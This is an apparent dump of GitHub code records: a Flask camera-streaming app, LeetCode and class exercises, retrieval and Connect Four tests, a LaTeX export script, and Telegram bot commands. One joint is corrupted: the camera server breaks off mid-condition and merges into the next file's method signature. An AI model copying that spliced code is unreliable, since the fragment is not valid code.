","repo_name":"aashabtajwar/file-storage-backend","sub_path":"users/api/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7463801672","text":"#Created by : Mohammad Abdollahi\nimport argparse\nimport io\nimport os\nfrom PIL import Image\nimport matplotlib.pyplot as plt # for ploting the scanned line\nimport pandas as pd\nimport imutils\nfrom numpy import asarray\nfrom numpy import savetxt\nimport cv2\nimport numpy as np\nimport pypylon.pylon as py\nfrom datetime import datetime\nfrom gevent.pywsgi import WSGIServer\nimport torch\nfrom flask import Flask, render_template, request, redirect, Response\nfrom selenium import webdriver\nimport math\napp = Flask(__name__)\n\n\nfrom io import BytesIO\nfirst_device = py.TlFactory.GetInstance().CreateFirstDevice()\nicam = py.InstantCamera(first_device)\nicam.Open()\nicam.PixelFormat = \"BGR8\"\ndef gen():\n\n while True:\n image = icam.GrabOne(4000) ### 4ms time for grabbing image \n image = image.Array\n image = cv2.resize(image, (0,0), fx=0.8366, fy=1, interpolation=cv2.INTER_LINEAR)### 2048x2048 resolution or INTER_AREA inter_linear is fastest for and good for downsizing \n ret, jpeg = cv2.imencode('.jpg', image) \n frame = jpeg.tobytes()\n yield (b'--frame\\r\\n'\n b'Content-Type:image/jpeg\\r\\n'\n b'Content-Length: ' + f\"{len(frame)}\".encode() + b'\\r\\n'\n b'\\r\\n' + frame + b'\\r\\n')\n\n \n@app.route('/exposure', methods=['GET', 'POST'])\ndef exposure():\n ss = icam.ExposureTime.Value\n max = icam.ExposureTime.GetMax()\n if request.method == 'POST':\n # print(request.form.get('text_exposure'))\n r = int(request.form.get('text_exposure'))\n if r int:\n\n c = nums.count(val)\n i = 0\n j = len(nums) - 1\n\n while i < j:\n print(c)\n if nums[i] == val:\n while nums[j] == val and j > i:\n j -= 1\n\n nums[i], nums[j] = nums[j], nums[i]\n j -= 1\n\n i += 1\n print(nums)\n\n return len(nums) - c\n\n\nsoln = Solution()\nnums = [0, 0]\nval = 0\nend = soln.removeElement(nums, val)\nprint(nums[:end])\n\n# MORE EFFICIENT\n\n\nclass Solution:\n def removeElement(self, nums: List[int], val: int) -> int:\n slow = 0\n\n for fast in nums:\n if fast != val:\n\n nums[slow] = fast\n slow += 1\n\n return slow\n","repo_name":"Michaeloye/DSA","sub_path":"array/DeletingItemsFromArray/RemoveElement.py","file_name":"RemoveElement.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20599921630","text":"import json\nimport time\nimport copy\n\nfrom src import Compare, ParserXmls, Parser\n\n\nclass Test:\n\n def ltnSem(self):\n start = time.time()\n corpus = ParserXmls(\"./data/coll\")\n cor = corpus.parse(verbose=True)\n print(\"time execution create vector {}\".format(time.time() - start))\n start = time.time()\n #corpus.createVector()\n corpus.bm25(cor)\n print(\"time execution create vector {}\".format(time.time() - start))\n start = time.time()\n corpus.toJson(\"./data/lem.json\")\n search = {2009011: [\"olive\", \"oil\", \"health\", \"benefit\"]}\n search2 = {2009036: [\"notting\", \"hill\", \"film\", \"actors\"]}\n search3 = {2009067: [\"probabilistic\", \"models\", \"in\", \"information\", \"retrieval\"]}\n search4 = {2009073: [\"web\", \"link\", \"network\", \"analysis\"]}\n search5 = {2009074: [\"web\", \"ranking\", \"scoring\", \"algorithm\"]}\n search6 = {2009078: [\"supervised\", \"machine\", \"learning\", \"algorithm\"]}\n search7 = {2009085: [\"operating\", \"system\", \"+mutual\", \"exclusion\"]}\n\n corpus.scoreAndGenerate(\"GuillaumeBenoitGauthierTheo\", \"02\", \"103\", \"ltn\", \"articles\", \"sem_test\",\n search, search2, search3, search4, search5, search6, search7)\n\n\n print(\"time execution generate runs {}\".format(time.time() - start))\n\n def compare(self, f1, f2, req, inf):\n comp = Compare()\n df = comp.compare(f1, f2, req, inf)\n print(df[:40])\n print(df[40:65])\n\n def txt_ltn(self, step, req_n):\n with open(\"./data/Text_Only_Ascii_Coll_MWI_NoSem\", \"r\") as f:\n start = time.time()\n parser = Parser()\n parser.parse(f)\n print(\"time execution parsing {}\".format(time.time() - start))\n\n start = time.time()\n parser.createVector()\n print(\"time execution create vector {}\".format(time.time() - start))\n start = time.time()\n\n search = {2009011: [\"olive\", \"oil\", \"health\", \"benefit\"]}\n search2 = {2009036: [\"notting\", \"hill\", \"film\", \"actors\"]}\n search3 = {2009067: [\"probabilistic\", \"models\", \"in\", \"information\", \"retrieval\"]}\n search4 = {2009073: [\"web\", \"link\", \"network\", \"analysis\"]}\n search5 = {2009074: [\"web\", \"ranking\", \"scoring\", \"algorithm\"]}\n search6 = {2009078: [\"supervised\", \"machine\", \"learning\", \"algorithm\"]}\n search7 = {2009085: [\"operating\", \"system\", \"+mutual\", \"exclusion\"]}\n\n parser.scoreAndGenerate(\"GuillaumeBenoitGauthierTheo\", step, req_n, \"ltn\", \"articles\", \"test\",\n search, search2, search3, search4, search5, search6, search7)\n\n print(\"time execution generate runs {}\".format(time.time() - start))\n\n def testParse(self):\n parser = Elem.Elem()\n doc = parser.xmltodict2(\"./data/coll/10003934.xml\")\n l = self.par(doc)\n t = \" \".join(l)\n print(len(t.split(\" \")))\n # print(doc['article']['entity']['bdy']['table']['row'][0]['header']['supreme_court']['link'])\n # parser.iterdict(doc)\n\n def parcoursList(self, l):\n for i in l:\n self.parcours(i)\n\n def parcours(self, doc):\n\n for k in doc:\n print(k, isinstance(doc[k][0], list))\n print(isinstance(doc[k][0], dict))\n\n def par(self, doc):\n l = []\n self.te(doc, l)\n\n # t = (\" \".join(l).split())\n return l\n\n def te(self, doc, l):\n if isinstance(doc, dict):\n for (k, v) in doc.items():\n self.te(v, l)\n '''if isinstance(doc[k],list):\n for i in doc[k]:\n self.te(i)'''\n\n elif isinstance(doc, list):\n for i in doc:\n self.te(i, l)\n\n elif isinstance(doc, str):\n l.append(doc)\n else:\n pass # print(type(doc))\n\n def test2(self):\n parser = Elem.Elem()\n doc = parser.xmltodict2(\"./data/coll/10003934.xml\")\n #print(doc['article'][0]['entity'][0]['header'][0]['id'][0])\n #print(\"test\")\n l2 = self.search(doc,\"id\")\n print(l2)\n\n def parc(self, doc):\n l1 = []\n self.parc2(doc, l1)\n return \" \".join(l1)\n\n def parc2(self, doc, l):\n if isinstance(doc, dict):\n for (k, v) in doc.items():\n self.parc2(v,l)\n elif isinstance(doc, list):\n for i in doc:\n self.parc2(i,l)\n\n elif isinstance(doc, str):\n l.append(doc)\n return l\n\n def search2(self, st, w, p, q):\n \"\"\"\n search recursively a string into a Dict : Key or Value\n :param st: String to search\n :param w: Dict where search\n :param p: List of string of n-1 path into Dict (overTree)\n :param q: List of string which contains path where st has been found\n :return: List of path where st found\n \"\"\"\n if isinstance(w, list):\n for a, i in enumerate(w,0):\n if(isinstance(i,dict) or isinstance(i,list)):\n p.append(a)\n self.search2(st, i, p, q)\n\n elif isinstance(w, dict):\n for (k, v) in w.items():\n if k == st or v == st:\n #q.append(copy.deepcopy(p))\n q.append(v[0])\n p.append(k)\n self.search2(st, v, p, q)\n p.remove(k) # rm sub trees when up\n\n\n return q\n\n def search(self, doc, st):\n \"\"\"\n :param st: string to search\n :return: List of path where st found\n \"\"\"\n t = []\n q = []\n w = doc\n self.search2(st, w, t, q)\n return q\n\n\n","repo_name":"GuillaumeBadikian/recherche-info","sub_path":"test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27756801137","text":"import numpy as np\r\nimport seaborn as sns\r\n\r\nfrom lsdo_viz.api import BaseViz, Frame\r\n\r\nsns.set()\r\n\r\n\r\n\r\norder_uv = 4\r\nsize_grid = 5\r\nnum_cpts_u = 5\r\nnum_cpts_v = 5\r\nnum_points_uv = 10\r\nnum_vertices = 120\r\nproj_robustness = 20\r\n\r\n\r\n\r\n\r\nclass Viz(BaseViz):\r\n def setup(self):\r\n # self.use_latex_fonts()\r\n\r\n self.frame_name_format = 'output_{}'\r\n\r\n self.add_frame(\r\n Frame(\r\n height_in=8.,\r\n width_in=12.,\r\n nrows=1,\r\n ncols=1,\r\n wspace=0.4,\r\n hspace=0.4,\r\n ), 1)\r\n\r\n def plot(self,\r\n data_dict_current,\r\n data_dict_all,\r\n limits_dict,\r\n ind,\r\n video=False):\r\n import Function\r\n import define\r\n cpts = define.get_cpts('circle',4,num_cpts_u, num_cpts_v,size_grid)\r\n Func = Function.MyProblem(cpts,order_uv,size_grid,num_cpts_u,num_cpts_v,num_points_uv,num_vertices,proj_robustness)\r\n k0 = Func.get_initial_contour()\r\n \r\n x = data_dict_current['x']\r\n y = data_dict_current['y']\r\n #c_all = data_dict_all['compliance_comp.compliance']\r\n self.get_frame(1).clear_all_axes()\r\n with self.get_frame(1)[0, 0] as ax:\r\n ax.plot(np.append(x,x[0]),np.append(y,y[0]),'-o')\r\n ax.plot(k0[:,0],k0[:,1],'-o')\r\n ax.axis([0,5,0,5])\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n self.get_frame(1).write()\r\n \r\n\"\"\" with self.get_frame(1)[0, 1] as ax:\r\n sns.barplot(x=x, y=h, ax=ax)\r\n if video:\r\n ax.set_ylim(\r\n self.get_limits(\r\n ['inputs_comp.h'],\r\n fig_axis=0,\r\n data_axis=0,\r\n lower_margin=0.1,\r\n upper_margin=0.1,\r\n mode='broad',\r\n ))\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('h')\r\n\r\n ax.get_xaxis().set_ticks([])\r\n\r\n self.get_frame(1).write() \"\"\"\r\n","repo_name":"RyanDunn729/MDO-course-project","sub_path":"Main/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33256933839","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 1 21:12:00 2023\n\n@author: Yu-Chen Wang\n\"\"\"\n\nfrom argparse import ArgumentParser\nimport os\nimport sys\nimport glob\nfrom zipfile import ZipFile, ZIP_DEFLATED\nimport subprocess\ntry:\n import regex as re\nexcept ModuleNotFoundError:\n import re\n\n# default config file\ndefault_config = \\\nr'''## The configuration file consists of lines of options.\n## A line typically starts with a command, followed by several parameters.\n## commands and parameters are seperated by whitespace characters (e.g. spaces).\n## If a parameter itself contains whitespace characters, there should be a backslash ('\\') before each of the whitespace characters.\n\n## [echo] printing information on the screen\n# echo using a config file # this will print \"using a config file\" on the screen\n\n## [args] adding arguments\n# args -b file\\ name.tex # this is equivalent to adding arguments \"-b file\\ name.tex\" before the arguments you pass in the terminal.\n# if argument values contains whitespaces, you must use backslashs ('\\'). Quotation marks (e.g. \"argunemt with spaces\") are not supported.\n\n## [add] manually adding files to the zip\n# add filepath # filepath is RELATIVE TO THE MAIN TEX FILE.\n\n## [replace] text replacement\n# replace # Replace to in the merged tex file. \n# Regular expressions are supported. Here '.' matches any character INCLUDING A NEW LINE.\n# Below are some examples.\n\n# if you have installed package 'regex':\n# replace \\\\added\\{(?P(?P[^{}]|\\{(?&t)*\\})*)\\} \\g # \\added{} -> \n# replace \\\\replaced\\{(?P(?P[^{}]|\\{(?&t)*\\})*)\\}\\{(?P(?&t)*)\\} \\g # \\replaced{}{} -> \n# replace ^[\\ \\t]*\\\\deleted\\{(?P(?P[^{}]|\\{(?&t)*\\})*)\\}[\\ \\t]*(\\r\\n|\\r|\\n)|\\\\deleted\\{(?P(?&t)*)\\} # \\deleted{} -> # note: if the only content on a line/several lines is '\\deleted{}', remove the line(s) altogether\n# replace ^[\\ \\t]*\\\\explain\\{(?P(?P[^{}]|\\{(?&t)*\\})*)\\}[\\ \\t]*(\\r\\n|\\r|\\n)|\\\\explain\\{(?P(?&t)*)\\} # \\explain{} -> # note: if the only content on a line/several lines is '\\explain{}', remove the line(s) altogether\n \n# without 'regex':\n# This script supports a '\\cc' synctex, which will be converted to the regular expression that matches text with up to level(s) of balanced '{}'. For example, '\\c0c' only matches text without '{' or '}', '\\c1c' can also match something like 'text{text}text', '\\c2c' can also match something like 'text{text{text}text}text', etc.\n# replace \\\\added\\{(?P\\c5c)\\} \\g # \\added{} -> \n# replace \\\\replaced\\{(?P\\c5c)\\}\\{(?P\\c5c)\\} \\g # \\replaced{}{} -> \n# replace ^[\\ \\t]*\\\\deleted\\{(?P\\c5c)\\}[\\ \\t]*(\\r\\n|\\r|\\n)|\\\\deleted\\{(?P\\c5c)\\} # \\deleted{} -> # note: if the only content on a line/several lines is '\\deleted{}', remove the line(s) altogether\n# replace ^[\\ \\t]*\\\\explain\\{(?P\\c5c)\\}[\\ \\t]*(\\r\\n|\\r|\\n)|\\\\explain\\{(?P\\c5c)\\} # \\explain{} -> # note: if the only content on a line/several lines is '\\explain{}', remove the line(s) altogether\n'''\n\n# define arguments\nparser = ArgumentParser()\nparser.add_argument('file', nargs=\"?\", default=None, help='The main tex file. If not given, automatically use the .tex file (if there is only one) in the current working directory.')\nparser.add_argument('-o', '--out', help='The name of the output zip file. The default is the same as that of the main tex file.')\nparser.add_argument('-p', '--params', default='', help='The parameters passed to latexpand')\nparser.add_argument('-b', '--bibtex', action='store_true', help='Use bibtex (with .bst, .bib) files. By default, bibliography is expanded using the *.bbl file.')\nparser.add_argument('-c', '--config', default=None, help='The configuration file. The default file is \"
    .ltxpconfig\". If the config file does not exist, a sample file will be automatically generated.')\nargs = parser.parse_args()\n\n# the \\cc syntex\ndef gen_curly_balanced_match(recursive_level=1):\n s = '.*' # a placeholder\n for _ in range(recursive_level):\n s = s.replace('.*', r'([^{}]|\\{.*\\})*')\n s = s.replace('.*', '[^{}]*')\n return s\ndef rep(matchobj):\n return gen_curly_balanced_match(int(matchobj.group('level')))\n\n# read config\nif args.config is None:\n args.config = args.file[:-4] + '.ltxpconfig'\nif not os.path.exists(args.config):\n with open(args.config, 'w') as f:\n f.write(default_config)\nwith open(args.config) as f:\n config = f.readlines()\n\n# parse config\nprint(f\"parsing config file '{args.config}'\")\nadd_files = []\nreplacements = []\nargs = []\ndef split(string): # split string but recognizes '\\' + whitespace\n return [re.sub(r'\\\\(\\s)', r'\\1', s) for s in re.split(r'(?[0-9]+)c', rep, s) for s in line]\n if line[0] == 'add':\n add_files.append(line[1])\n print(f\"config: add file '{line[1]}'\")\n if line[0] == 'replace':\n replacements.append((line[1], line[2]))\n print(f\"config: replace: {line[1]} -> {line[2]}\")\n if line[0] == 'args':\n args += [l for l in line[1:] if l != '']\n \n # args = parser.parse_args(args)\n # if argname == 'config':\n # print(\"WARNING: argument 'config' cannot be set in a config file\")\n # elif not hasattr(args, argname):\n # print(f\"WARNING: unrecognized argunemt '{argname}' in config file, ignored\")\n # elif \n \n if line[0] == 'echo':\n print(' '.join(line[1:]))\n \n# re-parse args\nargs += sys.argv[1:]\nprint('parsing args', args)\nargs = parser.parse_args(args)\n\n# handle arguments\nif args.file is None:\n files = os.listdir('.')\n texfiles = [f for f in files if f.endswith('.tex')]\n if len(texfiles) != 1:\n raise ValueError('Please input the main tex file.')\n else:\n args.file = texfiles[0]\nprint(f\"main tex file: '{args.file}'\")\n\nif args.out is None:\n args.out = args.file[:-4] + '.merged.zip'\nprint(f\"output zip file: '{args.out}'\")\nif os.path.exists(args.out):\n overwrite = input(f'\"{args.out}\" already exists. Do you want to overwrite it? y/[n] >>> ')\n if overwrite not in ['y']:\n raise FileExistsError(f'\"{args.out}\" already exists. Nothing done.')\n\n# expand bbl?\nif '--expand-bbl' not in args.params and not args.bibtex:\n bblfile = args.file[:-4] + '.bbl'\n if not os.path.exists(bblfile):\n raise FileNotFoundError(f\"{bblfile} not found. You may consider passing `--bibtex` or `-p \\\"--expand-bbl BBLFILE\\\"` or generating a bbl file.\")\n args.params += f' --expand-bbl {bblfile}'\nprint(f\"latexpand args: '{args.params}'\")\n\noutput = subprocess.check_output(['latexpand'] + args.params.split() + [args.file]) # split(args.params)\nmaintex = output.decode()\n\nincludegraphics = r\"\\\\includegraphics(?:\\[[^\\]]*\\])?\\{[^\\}]*\\}\"\ngraphics = re.findall(includegraphics, maintex, flags=re.DOTALL)\nimgpaths = [t.split('{')[1].split('}')[0] for t in graphics]\n\ndocumentclass = r\"\\\\documentclass(?:\\[[^\\]]*\\])?\\{[^\\}]*\\}\"\nclsfile = re.findall(documentclass, maintex, flags=re.DOTALL)[0].split('{')[1].split('}')[0]\n\ndef get_rel_path(mainpath, relpath):\n return os.path.relpath(os.path.join(os.path.dirname(mainpath), relpath))\ndef move(relpath, f, ext='.*', prefix=''):\n global maintex\n path = get_rel_path(args.file, relpath)\n newpath = prefix + os.path.basename(path)\n maintex = maintex.replace(relpath, newpath)\n if not os.path.exists(path):\n paths = glob.glob(path + ext)\n if len(paths) == 0:\n raise FileNotFoundError(path)\n elif len(paths) >= 2:\n raise ValueError(f'I do not know which to use: {paths}')\n path = paths[0]\n newpath += '.' + path.split('.')[-1]\n f.write(path, arcname=newpath)\n\nwith ZipFile(args.out, 'w', compression=ZIP_DEFLATED) as f:\n # cls file\n try:\n move(clsfile, f, ext='.cls')\n except FileNotFoundError:\n pass\n \n # bst, bib file\n if args.bibtex:\n bibliography = r\"\\\\bibliography(?:\\[[^\\]]*\\])?\\{[^\\}]*\\}\"\n bibfiles = [t.split('{')[1].split('}')[0] for t in re.findall(bibliography, maintex, flags=re.DOTALL)]\n \n bibliographystyle = r\"\\\\bibliographystyle(?:\\[[^\\]]*\\])?\\{[^\\}]*\\}\"\n bstfiles = [t.split('{')[1].split('}')[0] for t in re.findall(bibliographystyle, maintex, flags=re.DOTALL)]\n \n for bibfile in bibfiles:\n move(bibfile, f, ext='.bib')\n for bstfile in bstfiles:\n try:\n move(bstfile, f, ext='.bst')\n except FileNotFoundError:\n pass\n \n # img file\n for i, imgpath in enumerate(imgpaths):\n move(imgpath, f, prefix=f'fig{i+1}_')\n\n # added file in config\n for add_file in add_files:\n move(add_file, f)\n\n # replacements in config\n for pattern, repl in replacements:\n try:\n maintex = re.sub(pattern, repl, maintex, flags=re.DOTALL|re.MULTILINE)\n except Exception as e:\n raise RuntimeError(f\"Error occurred for replacement: {pattern} -> {repl}\") from e\n \n with f.open(os.path.basename(args.file), mode='w') as texf:\n texf.write(maintex.encode())\n","repo_name":"ycwang-hello/research-tools","sub_path":"LaTeX/latexport.py","file_name":"latexport.py","file_ext":"py","file_size_in_byte":9644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8921388849","text":"'''\nCreate a class Shirt with members as sid,sname,type(formal \netc), price and size(small,large etc) .Add following methods:\n\nj. Constructor (Support both parameterized and parameterless) \nk. Destructor \nl. ShowShirt\nm. For each size of shirt price should change by 10%.\n\n(eg. If 1000 is price then small price = 1000, medium = \n1100,large=1200 and xlarge=1300) Use static concept\n'''\n\nclass Shirt:\n \n gst = 10\n def __init__(self): \n self.sid = 101\n self.sname = \"cottenking\"\n self.type = \"cotten\"\n self.size = \"S,M,XL\"\n self.price = 1000\n\n self.s = self.price\n self.m = self.s + (self.s*Shirt.gst/100)\n self.l = self.m + (self.m*Shirt.gst/100)\n self.xl = self.l + (self.l*Shirt.gst/100)\n\n def ShowShirt(self):\n print(\"\\nShirt id = {0}\".format(self.sid))\n print(\"Shirt name = {0}\".format(self.sname))\n print(\"Type = {0}\".format(self.type))\n print(\"Price = {0}\".format(self.price))\n print(\"Available Size = {0}\\n\".format(self.size))\n \n print(\"-----prices according to size------\")\n print(\"S = {0}Rs ,M = {1}Rs ,L = {2}Rs ,XL = {3}Rs\".format(self.s,self.m,self.l,self.xl))\n \n def __del__(self): #Destructor\n print(\"Object Destroyed\\n\")\n\ns1 = Shirt()\ns1.ShowShirt()","repo_name":"KaranKadam1/Python","sub_path":"ASSIGNMENTS/Assignment-12(static)/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36342963714","text":"import os\n\nimport xlsxwriter\n\nfrom apiv1.models.task import MenuTask\n\n\ndef create_excel_file(raw_menus: dict, task_id: str) -> str:\n path = \"files/\"\n file_path = f\"{path}/{task_id}.xlsx\"\n if not os.path.exists(path):\n os.makedirs(path)\n workbook = xlsxwriter.Workbook(file_path)\n worksheet = workbook.add_worksheet(\"Menus\")\n row = 0\n\n for menu_cnt, raw_menu in enumerate(raw_menus, 1):\n col = 0\n menu = MenuTask.parse_obj(raw_menu)\n menu_data = [menu_cnt, menu.title, menu.description]\n submenus = menu.submenus\n worksheet.write_row(row, col, menu_data)\n row += 1\n\n for submenu_cnt, submenu in enumerate(submenus, 1):\n col = 1\n submenu_data = [submenu_cnt, submenu.title, submenu.description]\n dishes = submenu.dishes\n worksheet.write_row(row, col, submenu_data)\n row += 1\n\n for dish_cnt, dish in enumerate(dishes, 1):\n col = 2\n dish_data = [dish_cnt, dish.title, dish.description, dish.price]\n worksheet.write_row(row, col, dish_data)\n row += 1\n\n workbook.close()\n return file_path\n","repo_name":"B1nC0D3/api_restaurant","sub_path":"celery_tasks/file_creating.py","file_name":"file_creating.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"24901567881","text":"class MyEpisode:\n\n def __init__(self, rating: float, votes: int) -> None:\n self._rating = float(rating)\n self._votes = int(votes)\n \n def get(self, param: str):\n if param == 'rating':\n return self._rating\n elif param == 'votes':\n return self._votes\n else:\n raise ValueError(f'Invalid param {param}')\n\n\nclass MySeries(dict):\n\n def __init__(\n self, \n movie_id: str, \n title: str, \n kind: str,\n years: str,\n episodes: dict = None\n ):\n self._movie_id = str(movie_id)\n self._title = str(title)\n self._kind = str(kind)\n self._years = str(years)\n self['episodes'] = episodes\n\n def __getattr__(self, key):\n return self[key]\n\n def get(self, param: str):\n if param == 'title':\n return self._title \n elif param == 'kind':\n return self._kind\n elif param == 'series years':\n return self._years \n elif param == 'number of seasons':\n return len(self['episodes'].keys())\n else:\n raise ValueError(f'Invalid param {param}')\n\n def getID(self) -> str:\n return self._movie_id\n\n\ntest_series_obj = MySeries(\n '01234',\n 'My Title',\n 'tv series',\n '2001 - 2006',\n { \n 2: {\n 1: MyEpisode(8.0, 100),\n 2: MyEpisode(7.5, 200),\n 3: MyEpisode(6.5, 300),\n },\n 1: {\n 1: MyEpisode(8.5, 200),\n 2: MyEpisode(9.0, 300),\n },\n }\n)\n\ntest_series = {\n 'movie_id': '01234',\n 'title': 'My Title',\n 'kind': 'tv series',\n 'series years': '2001 - 2006',\n 'episodes': {\n 2: {\n 1: {\n 'rating': 8.0,\n 'votes': 100\n },\n 2: {\n 'rating': 7.5,\n 'votes': 200\n }, \n 3: {\n 'rating': 6.5,\n 'votes': 300\n }\n },\n 1: {\n 1: {\n 'rating': 8.5,\n 'votes': 200\n },\n 2: {\n 'rating': 9.0,\n 'votes': 300\n }\n },\n }\n}\n\ntest_raw_data = [ \n {\n 'season': 2,\n 'episode': 1,\n 'rating': 8.0,\n 'votes': 100\n },\n {\n 'season': 2,\n 'episode': 2,\n 'rating': 7.5,\n 'votes': 200\n }, \n {\n 'season': 2,\n 'episode': 3,\n 'rating': 6.5,\n 'votes': 300\n }, \n {\n 'season': 1,\n 'episode': 1,\n 'rating': 8.5,\n 'votes': 200\n }, \n {\n 'season': 1,\n 'episode': 2,\n 'rating': 9.0,\n 'votes': 300\n }, \n]\n","repo_name":"ErikKalkoken/tv-show-ratings","sub_path":"tests/testdata.py","file_name":"testdata.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"69813887826","text":"def rotation(m):\n N = len(m)\n ret = [[0] * N for _ in range(N)]\n\n for r in range(N):\n for c in range(N):\n ret[c][N-1-r] = m[r][c]\n return ret\n\n\ndef expand(N, lock):\n expansion = [[0] * 3 * N for _ in range(3 * N)]\n for i in range(N, 2 * N):\n for j in range(N, 2 * N):\n expansion[i][j] = lock[i - N][j - N]\n return expansion\n\ndef solution(key, lock):\n answer = True\n\n M = len(key)\n N = len(lock)\n\n for _ in range(4):\n key = rotation(key) # rotation\n for i in range(3*N):\n for j in range(3*N):\n succeed = True\n expansion = expand(N, lock) # expansion\n\n for a in range(M):\n for b in range(M):\n if N<=a+i<2*N and N<=b+j<2*N: # in range, cal\n expansion[a+i][b+j] += key[a][b]\n\n for x in range(N, 2*N):\n for y in range(N, 2*N):\n if expansion[x][y] != 1: # checking\n succeed = False\n break\n if not succeed:\n break\n if succeed:\n return True\n return False\n\nprint(solution([[0, 0, 0], [1, 0, 0], [0, 1, 1]], [[1, 1, 1], [1, 1, 0], [1, 0, 1]]))","repo_name":"ddraa/Algorithm","sub_path":"Simulation/자물쇠와 열쇠/Mysolution.py","file_name":"Mysolution.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74245875984","text":"#https://leetcode.com/problems/maximum-subarray/\nclass Solution(object):\n def maxSubArray(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n maxsum = -99999\n minsum = 0\n for i in nums:\n minsum += i\n if (maxsum < minsum):\n maxsum = minsum\n \n if (minsum < 0):\n minsum = 0\n \n return maxsum\n \n \n","repo_name":"ArjunS18/leetcode_solutions","sub_path":"maximum subarray.py","file_name":"maximum subarray.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44208884104","text":"from telethon.utils import get_display_name\n\nfrom . import get_string, udB, ultroid_cmd\n\n\n@ultroid_cmd(pattern=\"addclean$\", admins_only=True)\nasync def _(e):\n key = udB.get_key(\"CLEANCHAT\") or []\n if e.chat_id in key:\n return await eod(e, get_string(\"clan_5\"))\n key.append(e.chat_id)\n udB.set_key(\"CLEANCHAT\", key)\n await e.eor(get_string(\"clan_1\"), time=5)\n\n\n@ultroid_cmd(pattern=\"remclean$\")\nasync def _(e):\n key = udB.get_key(\"CLEANCHAT\") or []\n if e.chat_id in key:\n key.remove(e.chat_id)\n udB.set_key(\"CLEANCHAT\", key)\n await e.eor(get_string(\"clan_2\"), time=5)\n\n\n@ultroid_cmd(pattern=\"listclean$\")\nasync def _(e):\n k = udB.get_key(\"CLEANCHAT\")\n if k:\n o = \"\"\n for x in k:\n try:\n title = get_display_name(await e.client.get_entity(x))\n except BaseException:\n title = get_string(\"clan_3\")\n o += f\"{x} {title}\\n\"\n await e.eor(o)\n else:\n await e.eor(get_string(\"clan_4\"), time=5)\n","repo_name":"Aadhi000/Ultroid-X","sub_path":"plugins/cleanaction.py","file_name":"cleanaction.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"44283494096","text":"import unittest\nimport numpy as np\nfrom src.game import *\n\nclass TestConnectFour(unittest.TestCase):\n def test_init_game(self):\n game = ConnectFour(0)\n self.assertEqual(game.player1.color, RED)\n self.assertEqual(game.player2.color, YELLOW)\n\n def test_make_move(self):\n game = ConnectFour(0)\n board = np.zeros((ROWS, COLUMNS), dtype=int)\n self.assertEqual(game.current_player.color, RED)\n column = 3\n\n game.make_move(column, color=1)\n board[ROWS-1][column] = 1\n np.testing.assert_array_equal(game.board, board)\n\n game.make_move(column, color=2)\n board[ROWS-2][column] = 2\n np.testing.assert_array_equal(game.board, board)\n\n def test_invalid_column_range(self):\n game = ConnectFour(0)\n self.assertTrue(game.is_column_valid(3))\n self.assertTrue(game.is_column_valid(0))\n self.assertTrue(game.is_column_valid(COLUMNS-1))\n self.assertFalse(game.is_column_valid(-1))\n self.assertFalse(game.is_column_valid(COLUMNS))\n\n def test_invalid_column_full(self):\n game = ConnectFour(0)\n column = 1\n for row in range(ROWS):\n self.assertTrue(game.is_column_valid(column))\n game.make_move(1, column)\n self.assertFalse(game.is_column_valid(column))\n\n def test_undo_move(self):\n game = ConnectFour(0)\n board = np.zeros((ROWS, COLUMNS), dtype=int)\n column = 1\n game.make_move(column, 1)\n game.undo_move(column)\n np.testing.assert_array_equal(game.board, board)\n\n def test_check_winner_horizontal(self):\n game = ConnectFour(0)\n self.assertFalse(game.check_winner())\n game.board[0][0] = game.board[0][1] = game.board[0][2] = game.board[0][3] = 1\n self.assertTrue(game.check_winner())\n\n def test_check_winner_vertical(self):\n game = ConnectFour(0)\n self.assertFalse(game.check_winner())\n game.board[0][0] = game.board[1][0] = game.board[2][0] = game.board[3][0] = 1\n self.assertTrue(game.check_winner())\n\n def test_check_winner_diagonal(self):\n game = ConnectFour(0)\n self.assertFalse(game.check_winner())\n game.board[0][0] = game.board[1][1] = game.board[2][2] = game.board[3][3] = 1\n self.assertTrue(game.check_winner())\n\n game = ConnectFour(0)\n self.assertFalse(game.check_winner())\n game.board[3][0] = game.board[2][1] = game.board[1][2] = game.board[0][3] = 1\n self.assertTrue(game.check_winner())\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ThomasLeMontagner/Connect4Game_RL","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16559269880","text":"import json\n\nfrom config import load_token\n\nFACEBOOK_GRAPH_BASE_URL = \"https://graph.facebook.com/v2.11/\"\n\nTOKEN = load_token()\n\n\ndef get_json_response(response):\n json_response = json.loads(response.content)\n if 'error' 